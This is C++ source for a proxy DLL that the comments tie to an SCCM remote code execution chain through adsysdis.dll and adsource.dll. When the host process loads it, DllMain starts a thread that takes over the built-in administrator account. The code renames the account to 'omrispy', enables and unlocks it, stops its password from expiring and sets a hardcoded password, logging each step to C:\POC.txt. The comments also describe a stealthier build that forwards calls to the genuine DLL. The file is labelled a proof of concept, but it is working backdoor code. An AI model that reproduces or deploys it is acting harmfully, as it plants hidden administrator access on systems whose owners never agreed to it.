// adsource_proxy.cpp // // Proxy DLL for the SCCM cab-slip -> adsysdis.dll -> adsource.dll RCE chain. // // Payload now runs from DllMain (DLL_PROCESS_ATTACH) on a worker thread, so it // fires the instant adsysdis loads the DLL -- BEFORE any (stubbed) export can be // called and crash the host. Build MUST link with /ENTRY:DllMain (NOT /NOENTRY), // otherwise DllMain is dead code and nothing runs. // // For the production, non-crashing build, replace the stub .def with pure // forwarders to a renamed genuine copy (adsource_orig.dll). The payload here is // unchanged either way -- it lives in DllMain, not in an export. // // Build: see Build.ps1 #include #pragma function(memset) extern "C" void* __cdecl memset(void* dest, int ch, size_t count) { unsigned char* p = (unsigned char*)dest; while (count--) *p++ = (unsigned char)ch; return dest; } // ---------- netapi32 types ---------- typedef DWORD NET_API_STATUS; #define NERR_Success 0 #define UF_SCRIPT 0x0001 #define UF_NORMAL_ACCOUNT 0x0200 #define UF_DONT_EXPIRE_PASSWD 0x10000 #define UF_ACCOUNTDISABLE 0x0002 #define UF_LOCKOUT 0x0010 #define USER_UF_FIELD 0x00000008 // flag for USER_INFO_1008 typedef struct { DWORD usri1008_flags; } USER_INFO_1008; typedef struct { LPWSTR usri1003_password; } USER_INFO_1003; typedef struct { LPWSTR usri0_name; } USER_INFO_0; typedef struct { DWORD usri20_name[1]; // placeholder; we only need usri20_flags } USER_INFO_20; typedef NET_API_STATUS (WINAPI *fn_NetUserEnum)( LPCWSTR, DWORD, DWORD, LPBYTE*, DWORD, LPDWORD, LPDWORD, LPDWORD); typedef NET_API_STATUS (WINAPI *fn_NetUserGetInfo)( LPCWSTR, LPCWSTR, DWORD, LPBYTE*); typedef NET_API_STATUS (WINAPI *fn_NetUserSetInfo)( LPCWSTR, LPCWSTR, DWORD, LPBYTE, LPDWORD); typedef NET_API_STATUS (WINAPI *fn_NetApiBufferFree)(LPVOID); typedef struct { LPWSTR usri1_name; LPWSTR usri1_password; DWORD usri1_password_age; DWORD usri1_priv; LPWSTR usri1_home_dir; LPWSTR usri1_comment; DWORD usri1_flags; LPWSTR usri1_script_path; } USER_INFO_1; // ---------- logging ---------- static void GetFullUserName(char* out, DWORD outSize) { HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { lstrcpynA(out, "(unknown)", (int)outSize); return; } BYTE tokBuf[256] = {0}; DWORD needed = 0; BOOL ok = GetTokenInformation(hToken, TokenUser, tokBuf, sizeof(tokBuf), &needed); CloseHandle(hToken); if (!ok) { lstrcpynA(out, "(unknown)", (int)outSize); return; } PSID sid = ((TOKEN_USER*)tokBuf)->User.Sid; char user[128] = {0}, domain[128] = {0}; DWORD userSize = sizeof(user), domainSize = sizeof(domain); SID_NAME_USE snu; if (!LookupAccountSidA(NULL, sid, user, &userSize, domain, &domainSize, &snu)) lstrcpynA(out, "(unknown)", (int)outSize); else wsprintfA(out, "%s\\%s", domain, user); } static void Log(const char* msg) { HANDLE h = CreateFileA("C:\\POC.txt", FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (h == INVALID_HANDLE_VALUE) return; SetFilePointer(h, 0, NULL, FILE_END); char buf[512]; char userId[256] = {0}; GetFullUserName(userId, sizeof(userId)); int n = wsprintfA(buf, "[%s] %s | PID=%lu TID=%lu | tick=%lu\r\n", userId, msg, GetCurrentProcessId(), GetCurrentThreadId(), GetTickCount()); DWORD written = 0; WriteFile(h, buf, (DWORD)n, &written, NULL); CloseHandle(h); } // ---------- payload ---------- static void EnableBuiltinAdmin(void) { HMODULE hNet = LoadLibraryA("netapi32.dll"); if (!hNet) { Log("FAIL: LoadLibrary netapi32.dll"); return; } fn_NetUserGetInfo pGetInfo = (fn_NetUserGetInfo) GetProcAddress(hNet, "NetUserGetInfo"); fn_NetUserSetInfo pSetInfo = (fn_NetUserSetInfo) GetProcAddress(hNet, "NetUserSetInfo"); fn_NetApiBufferFree pFreeBuf = (fn_NetApiBufferFree)GetProcAddress(hNet, "NetApiBufferFree"); if (!pGetInfo || !pSetInfo || !pFreeBuf) { Log("FAIL: GetProcAddress netapi32"); FreeLibrary(hNet); return; } wchar_t password[] = L"Xm#Poc-2026!Adm1n$Ok"; char msg[512]; // --- Step 1: Find the built-in RID 500 account by its well-known SID --- // WinAccountAdministratorSid requires the machine's domain SID as input. wchar_t compName[MAX_COMPUTERNAME_LENGTH + 1] = {0}; DWORD compSize = MAX_COMPUTERNAME_LENGTH + 1; if (!GetComputerNameW(compName, &compSize)) { wsprintfA(msg, "GetComputerName failed gle=%lu", GetLastError()); Log(msg); FreeLibrary(hNet); return; } BYTE machineSid[SECURITY_MAX_SID_SIZE]; DWORD machineSidSize = sizeof(machineSid); wchar_t machineDom[256] = {0}; DWORD machineDomLen = 256; SID_NAME_USE machineSnu; if (!LookupAccountNameW(NULL, compName, machineSid, &machineSidSize, machineDom, &machineDomLen, &machineSnu)) { wsprintfA(msg, "LookupAccountName(computer) failed gle=%lu", GetLastError()); Log(msg); FreeLibrary(hNet); return; } BYTE adminSid[SECURITY_MAX_SID_SIZE]; DWORD adminSidSize = sizeof(adminSid); if (!CreateWellKnownSid(WinAccountAdministratorSid, machineSid, adminSid, &adminSidSize)) { wsprintfA(msg, "CreateWellKnownSid(RID500) failed gle=%lu", GetLastError()); Log(msg); FreeLibrary(hNet); return; } wchar_t currentName[256] = {0}; wchar_t domBuf[256] = {0}; DWORD nameLen = 256, domLen = 256; SID_NAME_USE snu; if (!LookupAccountSidW(NULL, adminSid, currentName, &nameLen, domBuf, &domLen, &snu)) { wsprintfA(msg, "LookupAccountSid(RID500) failed gle=%lu", GetLastError()); Log(msg); FreeLibrary(hNet); return; } wsprintfA(msg, "RID 500 original name: %ls", currentName); Log(msg); // --- Step 2: Rename to "omrispy" --- if (lstrcmpiW(currentName, L"omrispy") != 0) { USER_INFO_0 renameInfo; renameInfo.usri0_name = (LPWSTR)L"omrispy"; DWORD parmErr = 0; NET_API_STATUS st = pSetInfo(NULL, currentName, 0, (LPBYTE)&renameInfo, &parmErr); wsprintfA(msg, "Rename '%ls' -> 'omrispy' status=%lu parmErr=%lu", currentName, st, parmErr); Log(msg); if (st != NERR_Success) { Log("WARN: rename failed; continuing with current name for remaining ops"); } } else { Log("RID 500 already named 'omrispy'"); } // Use whatever name the account has now for subsequent calls wchar_t targetName[256]; // Re-resolve in case rename succeeded nameLen = 256; domLen = 256; if (LookupAccountSidW(NULL, adminSid, targetName, &nameLen, domBuf, &domLen, &snu)) { wsprintfA(msg, "Using account name: %ls", targetName); Log(msg); } else { lstrcpynW(targetName, L"omrispy", 256); Log("Re-resolve failed; assuming 'omrispy'"); } // --- Step 3: Get current flags, enable if disabled, unlock if locked --- LPBYTE infoBuf = NULL; NET_API_STATUS st = pGetInfo(NULL, targetName, 1, &infoBuf); if (st != NERR_Success || !infoBuf) { wsprintfA(msg, "NetUserGetInfo(1) status=%lu", st); Log(msg); FreeLibrary(hNet); return; } USER_INFO_1* pUI1 = (USER_INFO_1*)infoBuf; DWORD oldFlags = pUI1->usri1_flags; wsprintfA(msg, "Current flags=0x%lX (disabled=%d locked=%d)", oldFlags, !!(oldFlags & UF_ACCOUNTDISABLE), !!(oldFlags & UF_LOCKOUT)); Log(msg); DWORD newFlags = oldFlags; newFlags &= ~UF_ACCOUNTDISABLE; newFlags &= ~UF_LOCKOUT; newFlags |= UF_DONT_EXPIRE_PASSWD; if (newFlags != oldFlags) { USER_INFO_1008 flagInfo; flagInfo.usri1008_flags = newFlags; DWORD parmErr = 0; st = pSetInfo(NULL, targetName, 1008, (LPBYTE)&flagInfo, &parmErr); wsprintfA(msg, "Enable/unlock status=%lu parmErr=%lu newFlags=0x%lX", st, parmErr, newFlags); Log(msg); } else { Log("Account already enabled and unlocked"); } pFreeBuf(infoBuf); // --- Step 4: Set password --- USER_INFO_1003 pwInfo; pwInfo.usri1003_password = password; DWORD parmErr = 0; st = pSetInfo(NULL, targetName, 1003, (LPBYTE)&pwInfo, &parmErr); wsprintfA(msg, "SetPassword status=%lu parmErr=%lu (0=ok, 2245=too short, 5=access denied)", st, parmErr); Log(msg); FreeLibrary(hNet); } // ---------- worker (runs off the loader lock) ---------- static volatile LONG g_ran = 0; static DWORD WINAPI PayloadThread(LPVOID) { if (InterlockedExchange(&g_ran, 1) != 0) return 0; // once per process Log("Worker: start"); EnableBuiltinAdmin(); Log("Worker: done"); return 0; } // ---------- DLL entry (this IS the payload trigger; needs /ENTRY:DllMain) ---------- BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) { if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hMod); Log("DllMain ATTACH"); // Do NOT call LoadLibrary / net APIs under loader lock -- hand off to a thread. HANDLE hThr = CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL); if (hThr) CloseHandle(hThr); else Log("FAIL: CreateThread"); } return TRUE; } // ---------- generic export stub (satisfies the .def for the test build) ---------- extern "C" void* Stub(void) { return NULL; }